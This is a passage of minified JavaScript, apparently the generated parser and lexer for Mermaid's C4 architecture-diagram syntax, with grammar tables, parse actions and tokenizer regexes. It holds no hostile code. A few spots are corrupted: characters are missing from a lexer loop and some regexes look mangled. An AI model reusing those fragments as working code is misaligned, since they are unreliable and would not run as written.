{error:2,start:3,mermaidDoc:4,direction:5,direction_tb:6,direction_bt:7,direction_rl:8,direction_lr:9,graphConfig:10,C4_CONTEXT:11,NEWLINE:12,statements:13,EOF:14,C4_CONTAINER:15,C4_COMPONENT:16,C4_DYNAMIC:17,C4_DEPLOYMENT:18,otherStatements:19,diagramStatements:20,otherStatement:21,title:22,accDescription:23,acc_title:24,acc_title_value:25,acc_descr:26,acc_descr_value:27,acc_descr_multiline_value:28,boundaryStatement:29,boundaryStartStatement:30,boundaryStopStatement:31,boundaryStart:32,LBRACE:33,ENTERPRISE_BOUNDARY:34,attributes:35,SYSTEM_BOUNDARY:36,BOUNDARY:37,CONTAINER_BOUNDARY:38,NODE:39,NODE_L:40,NODE_R:41,RBRACE:42,diagramStatement:43,PERSON:44,PERSON_EXT:45,SYSTEM:46,SYSTEM_DB:47,SYSTEM_QUEUE:48,SYSTEM_EXT:49,SYSTEM_EXT_DB:50,SYSTEM_EXT_QUEUE:51,CONTAINER:52,CONTAINER_DB:53,CONTAINER_QUEUE:54,CONTAINER_EXT:55,CONTAINER_EXT_DB:56,CONTAINER_EXT_QUEUE:57,COMPONENT:58,COMPONENT_DB:59,COMPONENT_QUEUE:60,COMPONENT_EXT:61,COMPONENT_EXT_DB:62,COMPONENT_EXT_QUEUE:63,REL:64,BIREL:65,REL_U:66,REL_D:67,REL_L:68,REL_R:69,REL_B:70,REL_INDEX:71,UPDATE_EL_STYLE:72,UPDATE_REL_STYLE:73,UPDATE_LAYOUT_CONFIG:74,attribute:75,STR:76,STR_KEY:77,STR_VALUE:78,ATTRIBUTE:79,ATTRIBUTE_EMPTY:80,$accept:0,$end:1},terminals_:{2:"error",6:"direction_tb",7:"direction_bt",8:"direction_rl",9:"direction_lr",11:"C4_CONTEXT",12:"NEWLINE",14:"EOF",15:"C4_CONTAINER",16:"C4_COMPONENT",17:"C4_DYNAMIC",18:"C4_DEPLOYMENT",22:"title",23:"accDescription",24:"acc_title",25:"acc_title_value",26:"acc_descr",27:"acc_descr_value",28:"acc_descr_multiline_value",33:"LBRACE",34:"ENTERPRISE_BOUNDARY",36:"SYSTEM_BOUNDARY",37:"BOUNDARY",38:"CONTAINER_BOUNDARY",39:"NODE",40:"NODE_L",41:"NODE_R",42:"RBRACE",44:"PERSON",45:"PERSON_EXT",46:"SYSTEM",47:"SYSTEM_DB",48:"SYSTEM_QUEUE",49:"SYSTEM_EXT",50:"SYSTEM_EXT_DB",51:"SYSTEM_EXT_QUEUE",52:"CONTAINER",53:"CONTAINER_DB",54:"CONTAINER_QUEUE",55:"CONTAINER_EXT",56:"CONTAINER_EXT_DB",57:"CONTAINER_EXT_QUEUE",58:"COMPONENT",59:"COMPONENT_DB",60:"COMPONENT_QUEUE",61:"COMPONENT_EXT",62:"COMPONENT_EXT_DB",63:"COMPONENT_EXT_QUEUE",64:"REL",65:"BIREL",66:"REL_U",67:"REL_D",68:"REL_L",69:"REL_R",70:"REL_B",71:"REL_INDEX",72:"UPDATE_EL_STYLE",73:"UPDATE_REL_STYLE",74:"UPDATE_LAYOUT_CONFIG",76:"STR",77:"STR_KEY",78:"STR_VALUE",79:"ATTRIBUTE",80:"ATTRIBUTE_EMPTY"},productions_:[0,[3,1],[3,1],[5,1],[5,1],[5,1],[5,1],[4,1],[10,4],[10,4],[10,4],[10,4],[10,4],[13,1],[13,1],[13,2],[19,1],[19,2],[19,3],[21,1],[21,1],[21,2],[21,2],[21,1],[29,3],[30,3],[30,3],[30,4],[32,2],[32,2],[32,2],[32,2],[32,2],[32,2],[32,2],[31,1],[20,1],[20,2],[20,3],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,1],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[43,2],[35,1],[35,2],[75,1],[75,2],[75,1],[75,1]],performAction:o(function(Le,Ie,Ne,Ce,Fe,fe,xe){var W=fe.length-1;switch(Fe){case 3:Ce.setDirection("TB");break;case 4:Ce.setDirection("BT");break;case 5:Ce.setDirection("RL");break;case 6:Ce.setDirection("LR");break;case 8:case 9:case 10:case 11:case 12:Ce.setC4Type(fe[W-3]);break;case 19:Ce.setTitle(fe[W].substring(6)),this.$=fe[W].substring(6);break;case 20:Ce.setAccDescription(fe[W].substring(15)),this.$=fe[W].substring(15);break;case 21:this.$=fe[W].trim(),Ce.setTitle(this.$);break;case 22:case 23:this.$=fe[W].trim(),Ce.setAccDescription(this.$);break;case 28:fe[W].splice(2,0,"ENTERPRISE"),Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 29:fe[W].splice(2,0,"SYSTEM"),Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 30:Ce.addPersonOrSystemBoundary(...fe[W]),this.$=fe[W];break;case 31:fe[W].splice(2,0,"CONTAINER"),Ce.addContainerBoundary(...fe[W]),this.$=fe[W];break;case 32:Ce.addDeploymentNode("node",...fe[W]),this.$=fe[W];break;case 33:Ce.addDeploymentNode("nodeL",...fe[W]),this.$=fe[W];break;case 34:Ce.addDeploymentNode("nodeR",...fe[W]),this.$=fe[W];break;case 35:Ce.popBoundaryParseStack();break;case 39:Ce.addPersonOrSystem("person",...fe[W]),this.$=fe[W];break;case 40:Ce.addPersonOrSystem("external_person",...fe[W]),this.$=fe[W];break;case 41:Ce.addPersonOrSystem("system",...fe[W]),this.$=fe[W];break;case 42:Ce.addPersonOrSystem("system_db",...fe[W]),this.$=fe[W];break;case 43:Ce.addPersonOrSystem("system_queue",...fe[W]),this.$=fe[W];break;case 44:Ce.addPersonOrSystem("external_system",...fe[W]),this.$=fe[W];break;case 45:Ce.addPersonOrSystem("external_system_db",...fe[W]),this.$=fe[W];break;case 46:Ce.addPersonOrSystem("external_system_queue",...fe[W]),this.$=fe[W];break;case 47:Ce.addContainer("container",...fe[W]),this.$=fe[W];break;case 48:Ce.addContainer("container_db",...fe[W]),this.$=fe[W];break;case 49:Ce.addContainer("container_queue",...fe[W]),this.$=fe[W];break;case 50:Ce.addContainer("external_container",...fe[W]),this.$=fe[W];break;case 51:Ce.addContainer("external_container_db",...fe[W]),this.$=fe[W];break;case 52:Ce.addContainer("external_container_queue",...fe[W]),this.$=fe[W];break;case 53:Ce.addComponent("component",...fe[W]),this.$=fe[W];break;case 54:Ce.addComponent("component_db",...fe[W]),this.$=fe[W];break;case 55:Ce.addComponent("component_queue",...fe[W]),this.$=fe[W];break;case 56:Ce.addComponent("external_component",...fe[W]),this.$=fe[W];break;case 57:Ce.addComponent("external_component_db",...fe[W]),this.$=fe[W];break;case 58:Ce.addComponent("external_component_queue",...fe[W]),this.$=fe[W];break;case 60:Ce.addRel("rel",...fe[W]),this.$=fe[W];break;case 61:Ce.addRel("birel",...fe[W]),this.$=fe[W];break;case 62:Ce.addRel("rel_u",...fe[W]),this.$=fe[W];break;case 63:Ce.addRel("rel_d",...fe[W]),this.$=fe[W];break;case 64:Ce.addRel("rel_l",...fe[W]),this.$=fe[W];break;case 65:Ce.addRel("rel_r",...fe[W]),this.$=fe[W];break;case 66:Ce.addRel("rel_b",...fe[W]),this.$=fe[W];break;case 67:fe[W].splice(0,1),Ce.addRel("rel",...fe[W]),this.$=fe[W];break;case 68:Ce.updateElStyle("update_el_style",...fe[W]),this.$=fe[W];break;case 69:Ce.updateRelStyle("update_rel_style",...fe[W]),this.$=fe[W];break;case 70:Ce.updateLayoutConfig("update_layout_config",...fe[W]),this.$=fe[W];break;case 71:this.$=[fe[W]];break;case 72:fe[W].unshift(fe[W-1]),this.$=fe[W];break;case 73:case 75:this.$=fe[W].trim();break;case 74:let he={};he[fe[W-1].trim()]=fe[W].trim(),this.$=he;break;case 76:this.$="";break}},"anonymous"),table:[{3:1,4:2,5:3,6:[1,5],7:[1,6],8:[1,7],9:[1,8],10:4,11:[1,9],15:[1,10],16:[1,11],17:[1,12],18:[1,13]},{1:[3]},{1:[2,1]},{1:[2,2]},{1:[2,7]},{1:[2,3]},{1:[2,4]},{1:[2,5]},{1:[2,6]},{12:[1,14]},{12:[1,15]},{12:[1,16]},{12:[1,17]},{12:[1,18]},{13:19,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:70,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:71,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:72,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{13:73,19:20,20:21,21:22,22:e,23:r,24:n,26:i,28:a,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{14:[1,74]},t(ue,[2,13],{43:23,29:49,30:61,32:62,20:75,34:s,36:l,37:u,38:h,39:f,40:d,41:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J}),t(ue,[2,14]),t(re,[2,16],{12:[1,76]}),t(ue,[2,36],{12:[1,77]}),t(ee,[2,19]),t(ee,[2,20]),{25:[1,78]},{27:[1,79]},t(ee,[2,23]),{35:80,75:81,76:Z,77:K,79:ae,80:Q},{35:86,75:81,76:Z,77:K,79:ae,80:Q},{35:87,75:81,76:Z,77:K,79:ae,80:Q},{35:88,75:81,76:Z,77:K,79:ae,80:Q},{35:89,75:81,76:Z,77:K,79:ae,80:Q},{35:90,75:81,76:Z,77:K,79:ae,80:Q},{35:91,75:81,76:Z,77:K,79:ae,80:Q},{35:92,75:81,76:Z,77:K,79:ae,80:Q},{35:93,75:81,76:Z,77:K,79:ae,80:Q},{35:94,75:81,76:Z,77:K,79:ae,80:Q},{35:95,75:81,76:Z,77:K,79:ae,80:Q},{35:96,75:81,76:Z,77:K,79:ae,80:Q},{35:97,75:81,76:Z,77:K,79:ae,80:Q},{35:98,75:81,76:Z,77:K,79:ae,80:Q},{35:99,75:81,76:Z,77:K,79:ae,80:Q},{35:100,75:81,76:Z,77:K,79:ae,80:Q},{35:101,75:81,76:Z,77:K,79:ae,80:Q},{35:102,75:81,76:Z,77:K,79:ae,80:Q},{35:103,75:81,76:Z,77:K,79:ae,80:Q},{35:104,75:81,76:Z,77:K,79:ae,80:Q},t(de,[2,59]),{35:105,75:81,76:Z,77:K,79:ae,80:Q},{35:106,75:81,76:Z,77:K,79:ae,80:Q},{35:107,75:81,76:Z,77:K,79:ae,80:Q},{35:108,75:81,76:Z,77:K,79:ae,80:Q},{35:109,75:81,76:Z,77:K,79:ae,80:Q},{35:110,75:81,76:Z,77:K,79:ae,80:Q},{35:111,75:81,76:Z,77:K,79:ae,80:Q},{35:112,75:81,76:Z,77:K,79:ae,80:Q},{35:113,75:81,76:Z,77:K,79:ae,80:Q},{35:114,75:81,76:Z,77:K,79:ae,80:Q},{35:115,75:81,76:Z,77:K,79:ae,80:Q},{20:116,29:49,30:61,32:62,34:s,36:l,37:u,38:h,39:f,40:d,41:p,43:23,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J},{12:[1,118],33:[1,117]},{35:119,75:81,76:Z,77:K,79:ae,80:Q},{35:120,75:81,76:Z,77:K,79:ae,80:Q},{35:121,75:81,76:Z,77:K,79:ae,80:Q},{35:122,75:81,76:Z,77:K,79:ae,80:Q},{35:123,75:81,76:Z,77:K,79:ae,80:Q},{35:124,75:81,76:Z,77:K,79:ae,80:Q},{35:125,75:81,76:Z,77:K,79:ae,80:Q},{14:[1,126]},{14:[1,127]},{14:[1,128]},{14:[1,129]},{1:[2,8]},t(ue,[2,15]),t(re,[2,17],{21:22,19:130,22:e,23:r,24:n,26:i,28:a}),t(ue,[2,37],{19:20,20:21,21:22,43:23,29:49,30:61,32:62,13:131,22:e,23:r,24:n,26:i,28:a,34:s,36:l,37:u,38:h,39:f,40:d,41:p,44:m,45:g,46:y,47:v,48:x,49:b,50:T,51:S,52:w,53:k,54:A,55:C,56:R,57:I,58:L,59:E,60:D,61:_,62:O,63:M,64:P,65:B,66:F,67:G,68:$,69:U,70:j,71:te,72:Y,73:oe,74:J}),t(ee,[2,21]),t(ee,[2,22]),t(de,[2,39]),t(ne,[2,71],{75:81,35:132,76:Z,77:K,79:ae,80:Q}),t(Te,[2,73]),{78:[1,133]},t(Te,[2,75]),t(Te,[2,76]),t(de,[2,40]),t(de,[2,41]),t(de,[2,42]),t(de,[2,43]),t(de,[2,44]),t(de,[2,45]),t(de,[2,46]),t(de,[2,47]),t(de,[2,48]),t(de,[2,49]),t(de,[2,50]),t(de,[2,51]),t(de,[2,52]),t(de,[2,53]),t(de,[2,54]),t(de,[2,55]),t(de,[2,56]),t(de,[2,57]),t(de,[2,58]),t(de,[2,60]),t(de,[2,61]),t(de,[2,62]),t(de,[2,63]),t(de,[2,64]),t(de,[2,65]),t(de,[2,66]),t(de,[2,67]),t(de,[2,68]),t(de,[2,69]),t(de,[2,70]),{31:134,42:[1,135]},{12:[1,136]},{33:[1,137]},t(q,[2,28]),t(q,[2,29]),t(q,[2,30]),t(q,[2,31]),t(q,[2,32]),t(q,[2,33]),t(q,[2,34]),{1:[2,9]},{1:[2,10]},{1:[2,11]},{1:[2,12]},t(re,[2,18]),t(ue,[2,38]),t(ne,[2,72]),t(Te,[2,74]),t(de,[2,24]),t(de,[2,35]),t(Ve,[2,25]),t(Ve,[2,26],{12:[1,138]}),t(Ve,[2,27])],defaultActions:{2:[2,1],3:[2,2],4:[2,7],5:[2,3],6:[2,4],7:[2,5],8:[2,6],74:[2,8],126:[2,9],127:[2,10],128:[2,11],129:[2,12]},parseError:o(function(Le,Ie){if(Ie.recoverable)this.trace(Le);else{var Ne=new Error(Le);throw Ne.hash=Ie,Ne}},"parseError"),parse:o(function(Le){var Ie=this,Ne=[0],Ce=[],Fe=[null],fe=[],xe=this.table,W="",he=0,z=0,se=0,le=2,ke=1,ve=fe.slice.call(arguments,1),ye=Object.create(this.lexer),Re={yy:{}};for(var _e in this.yy)Object.prototype.hasOwnProperty.call(this.yy,_e)&&(Re.yy[_e]=this.yy[_e]);ye.setInput(Le,Re.yy),Re.yy.lexer=ye,Re.yy.parser=this,typeof ye.yylloc>"u"&&(ye.yylloc={});var ze=ye.yylloc;fe.push(ze);var Ke=ye.options&&ye.options.ranges;typeof Re.yy.parseError=="function"?this.parseError=Re.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;function xt(ft){Ne.length=Ne.length-2*ft,Fe.length=Fe.length-ft,fe.length=fe.length-ft}o(xt,"popStack");function We(){var ft;return ft=Ce.pop()||ye.lex()||ke,typeof ft!="number"&&(ft instanceof Array&&(Ce=ft,ft=Ce.pop()),ft=Ie.symbols_[ft]||ft),ft}o(We,"lex");for(var Oe,et,Ue,lt,Gt,vt,Lt={},dt,nt,bt,wt;;){if(Ue=Ne[Ne.length-1],this.defaultActions[Ue]?lt=this.defaultActions[Ue]:((Oe===null||typeof Oe>"u")&&(Oe=We()),lt=xe[Ue]&&xe[Ue][Oe]),typeof lt>"u"||!lt.length||!lt[0]){var yt="";wt=[];for(dt in xe[Ue])this.terminals_[dt]&&dt>le&&wt.push("'"+this.terminals_[dt]+"'");ye.showPosition?yt="Parse error on line "+(he+1)+`: +`+ye.showPosition()+` +Expecting `+wt.join(", ")+", got '"+(this.terminals_[Oe]||Oe)+"'":yt="Parse error on line "+(he+1)+": Unexpected "+(Oe==ke?"end of input":"'"+(this.terminals_[Oe]||Oe)+"'"),this.parseError(yt,{text:ye.match,token:this.terminals_[Oe]||Oe,line:ye.yylineno,loc:ze,expected:wt})}if(lt[0]instanceof Array&<.length>1)throw new Error("Parse Error: multiple actions possible at state: "+Ue+", token: "+Oe);switch(lt[0]){case 1:Ne.push(Oe),Fe.push(ye.yytext),fe.push(ye.yylloc),Ne.push(lt[1]),Oe=null,et?(Oe=et,et=null):(z=ye.yyleng,W=ye.yytext,he=ye.yylineno,ze=ye.yylloc,se>0&&se--);break;case 2:if(nt=this.productions_[lt[1]][1],Lt.$=Fe[Fe.length-nt],Lt._$={first_line:fe[fe.length-(nt||1)].first_line,last_line:fe[fe.length-1].last_line,first_column:fe[fe.length-(nt||1)].first_column,last_column:fe[fe.length-1].last_column},Ke&&(Lt._$.range=[fe[fe.length-(nt||1)].range[0],fe[fe.length-1].range[1]]),vt=this.performAction.apply(Lt,[W,z,he,Re.yy,lt[1],Fe,fe].concat(ve)),typeof vt<"u")return vt;nt&&(Ne=Ne.slice(0,-1*nt*2),Fe=Fe.slice(0,-1*nt),fe=fe.slice(0,-1*nt)),Ne.push(this.productions_[lt[1]][0]),Fe.push(Lt.$),fe.push(Lt._$),bt=xe[Ne[Ne.length-2]][Ne[Ne.length-1]],Ne.push(bt);break;case 3:return!0}}return!0},"parse")},Be=(function(){var He={EOF:1,parseError:o(function(Ie,Ne){if(this.yy.parser)this.yy.parser.parseError(Ie,Ne);else throw new Error(Ie)},"parseError"),setInput:o(function(Le,Ie){return this.yy=Ie||this.yy||{},this._input=Le,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},"setInput"),input:o(function(){var Le=this._input[0];this.yytext+=Le,this.yyleng++,this.offset++,this.match+=Le,this.matched+=Le;var Ie=Le.match(/(?:\r\n?|\n).*/g);return Ie?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),Le},"input"),unput:o(function(Le){var Ie=Le.length,Ne=Le.split(/(?:\r\n?|\n)/g);this._input=Le+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-Ie),this.offset-=Ie;var Ce=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),Ne.length-1&&(this.yylineno-=Ne.length-1);var Fe=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:Ne?(Ne.length===Ce.length?this.yylloc.first_column:0)+Ce[Ce.length-Ne.length].length-Ne[0].length:this.yylloc.first_column-Ie},this.options.ranges&&(this.yylloc.range=[Fe[0],Fe[0]+this.yyleng-Ie]),this.yyleng=this.yytext.length,this},"unput"),more:o(function(){return this._more=!0,this},"more"),reject:o(function(){if(this.options.backtrack_lexer)this._backtrack=!0;else return this.parseError("Lexical error on line "+(this.yylineno+1)+`. You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true). +`+this.showPosition(),{text:"",token:null,line:this.yylineno});return this},"reject"),less:o(function(Le){this.unput(this.match.slice(Le))},"less"),pastInput:o(function(){var Le=this.matched.substr(0,this.matched.length-this.match.length);return(Le.length>20?"...":"")+Le.substr(-20).replace(/\n/g,"")},"pastInput"),upcomingInput:o(function(){var Le=this.match;return Le.length<20&&(Le+=this._input.substr(0,20-Le.length)),(Le.substr(0,20)+(Le.length>20?"...":"")).replace(/\n/g,"")},"upcomingInput"),showPosition:o(function(){var Le=this.pastInput(),Ie=new Array(Le.length+1).join("-");return Le+this.upcomingInput()+` +`+Ie+"^"},"showPosition"),test_match:o(function(Le,Ie){var Ne,Ce,Fe;if(this.options.backtrack_lexer&&(Fe={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(Fe.yylloc.range=this.yylloc.range.slice(0))),Ce=Le[0].match(/(?:\r\n?|\n).*/g),Ce&&(this.yylineno+=Ce.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:Ce?Ce[Ce.length-1].length-Ce[Ce.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+Le[0].length},this.yytext+=Le[0],this.match+=Le[0],this.matches=Le,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(Le[0].length),this.matched+=Le[0],Ne=this.performAction.call(this,this.yy,this,Ie,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),Ne)return Ne;if(this._backtrack){for(var fe in Fe)this[fe]=Fe[fe];return!1}return!1},"test_match"),next:o(function(){if(this.done)return this.EOF;this._input||(this.done=!0);var Le,Ie,Ne,Ce;this._more||(this.yytext="",this.match="");for(var Fe=this._currentRules(),fe=0;feIe[0].length)){if(Ie=Ne,Ce=fe,this.options.backtrack_lexer){if(Le=this.test_match(Ne,Fe[fe]),Le!==!1)return Le;if(this._backtrack){Ie=!1;continue}else return!1}else if(!this.options.flex)break}return Ie?(Le=this.test_match(Ie,Fe[Ce]),Le!==!1?Le:!1):this._input===""?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+`. Unrecognized text. +`+this.showPosition(),{text:"",token:null,line:this.yylineno})},"next"),lex:o(function(){var Ie=this.next();return Ie||this.lex()},"lex"),begin:o(function(Ie){this.conditionStack.push(Ie)},"begin"),popState:o(function(){var Ie=this.conditionStack.length-1;return Ie>0?this.conditionStack.pop():this.conditionStack[0]},"popState"),_currentRules:o(function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},"_currentRules"),topState:o(function(Ie){return Ie=this.conditionStack.length-1-Math.abs(Ie||0),Ie>=0?this.conditionStack[Ie]:"INITIAL"},"topState"),pushState:o(function(Ie){this.begin(Ie)},"pushState"),stateStackSize:o(function(){return this.conditionStack.length},"stateStackSize"),options:{},performAction:o(function(Ie,Ne,Ce,Fe){var fe=Fe;switch(Ce){case 0:return 6;case 1:return 7;case 2:return 8;case 3:return 9;case 4:return 22;case 5:return 23;case 6:return this.begin("acc_title"),24;break;case 7:return this.popState(),"acc_title_value";break;case 8:return this.begin("acc_descr"),26;break;case 9:return this.popState(),"acc_descr_value";break;case 10:this.begin("acc_descr_multiline");break;case 11:this.popState();break;case 12:return"acc_descr_multiline_value";case 13:break;case 14:c;break;case 15:return 12;case 16:break;case 17:return 11;case 18:return 15;case 19:return 16;case 20:return 17;case 21:return 18;case 22:return this.begin("person_ext"),45;break;case 23:return this.begin("person"),44;break;case 24:return this.begin("system_ext_queue"),51;break;case 25:return this.begin("system_ext_db"),50;break;case 26:return this.begin("system_ext"),49;break;case 27:return this.begin("system_queue"),48;break;case 28:return this.begin("system_db"),47;break;case 29:return this.begin("system"),46;break;case 30:return this.begin("boundary"),37;break;case 31:return this.begin("enterprise_boundary"),34;break;case 32:return this.begin("system_boundary"),36;break;case 33:return this.begin("container_ext_queue"),57;break;case 34:return this.begin("container_ext_db"),56;break;case 35:return this.begin("container_ext"),55;break;case 36:return this.begin("container_queue"),54;break;case 37:return this.begin("container_db"),53;break;case 38:return this.begin("container"),52;break;case 39:return this.begin("container_boundary"),38;break;case 40:return this.begin("component_ext_queue"),63;break;case 41:return this.begin("component_ext_db"),62;break;case 42:return this.begin("component_ext"),61;break;case 43:return this.begin("component_queue"),60;break;case 44:return this.begin("component_db"),59;break;case 45:return this.begin("component"),58;break;case 46:return this.begin("node"),39;break;case 47:return this.begin("node"),39;break;case 48:return this.begin("node_l"),40;break;case 49:return this.begin("node_r"),41;break;case 50:return this.begin("rel"),64;break;case 51:return this.begin("birel"),65;break;case 52:return this.begin("rel_u"),66;break;case 53:return this.begin("rel_u"),66;break;case 54:return this.begin("rel_d"),67;break;case 55:return this.begin("rel_d"),67;break;case 56:return this.begin("rel_l"),68;break;case 57:return this.begin("rel_l"),68;break;case 58:return this.begin("rel_r"),69;break;case 59:return this.begin("rel_r"),69;break;case 60:return this.begin("rel_b"),70;break;case 61:return this.begin("rel_index"),71;break;case 62:return this.begin("update_el_style"),72;break;case 63:return this.begin("update_rel_style"),73;break;case 64:return this.begin("update_layout_config"),74;break;case 65:return"EOF_IN_STRUCT";case 66:return this.begin("attribute"),"ATTRIBUTE_EMPTY";break;case 67:this.begin("attribute");break;case 68:this.popState(),this.popState();break;case 69:return 80;case 70:break;case 71:return 80;case 72:this.begin("string");break;case 73:this.popState();break;case 74:return"STR";case 75:this.begin("string_kv");break;case 76:return this.begin("string_kv_key"),"STR_KEY";break;case 77:this.popState(),this.begin("string_kv_value");break;case 78:return"STR_VALUE";case 79:this.popState(),this.popState();break;case 80:return"STR";case 81:return"LBRACE";case 82:return"RBRACE";case 83:return"SPACE";case 84:return"EOL";case 85:return 14}},"anonymous"),rules:[/^(?:.*direction\s+TB[^\n]*)/,/^(?:.*direction\s+BT[^\n]*)/,/^(?:.*direction\s+RL[^\n]*)/,/^(?:.*direction\s+LR[^\n]*)/,/^(?:title\s[^#\n;]+)/,/^(?:accDescription\s[^#\n;]+)/,/^(?:accTitle\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*:\s*)/,/^(?:(?!\n||)*[^\n]*)/,/^(?:accDescr\s*\{\s*)/,/^(?:[\}])/,/^(?:[^\}]*)/,/^(?:%%(?!\{)*[^\n]*(\r?\n?)+)/,/^(?:%%[^\n]*(\r?\n)*)/,/^(?:\s*(\r?\n)+)/,/^(?:\s+)/,/^(?:C4Context\b)/,/^(?:C4Container\b)/,/^(?:C4Component\b)/,/^(?:C4Dynamic\b)/,/^(?:C4Deployment\b)/,/^(?:Person_Ext\b)/,/^(?:Person\b)/,/^(?:SystemQueue_Ext\b)/,/^(?:SystemDb_Ext\b)/,/^(?:System_Ext\b)/,/^(?:SystemQueue\b)/,/^(?:SystemDb\b)/,/^(?:System\b)/,/^(?:Boundary\b)/,/^(?:Enterprise_Boundary\b)/,/^(?:System_Boundary\b)/,/^(?:ContainerQueue_Ext\b)/,/^(?:ContainerDb_Ext\b)/,/^(?:Container_Ext\b)/,/^(?:ContainerQueue\b)/,/^(?:ContainerDb\b)/,/^(?:Container\b)/,/^(?:Container_Boundary\b)/,/^(?:ComponentQueue_Ext\b)/,/^(?:ComponentDb_Ext\b)/,/^(?:Component_Ext\b)/,/^(?:ComponentQueue\b)/,/^(?:ComponentDb\b)/,/^(?:Component\b)/,/^(?:Deployment_Node\b)/,/^(?:Node\b)/,/^(?:Node_L\b)/,/^(?:Node_R\b)/,/^(?:Rel\b)/,/^(?:BiRel\b)/,/^(?:Rel_Up\b)/,/^(?:Rel_U\b)/,/^(?:Rel_Down\b)/,/^(?:Rel_D\b)/,/^(?:Rel_Left\b)/,/^(?:Rel_L\b)/,/^(?:Rel_Right\b)/,/^(?:Rel_R\b)/,/^(?:Rel_Back\b)/,/^(?:RelIndex\b)/,/^(?:UpdateElementStyle\b)/,/^(?:UpdateRelStyle\b)/,/^(?:UpdateLayoutConfig\b)/,/^(?:$)/,/^(?:[(][ ]*[,])/,/^(?:[(])/,/^(?:[)])/,/^(?:,,)/,/^(?:,)/,/^(?:[ ]*["]["])/,/^(?:[ ]*["])/,/^(?:["])/,/^(?:[^"]*)/,/^(?:[ ]*[\$])/,/^(?:[^=]*)/,/^(?:[=][ 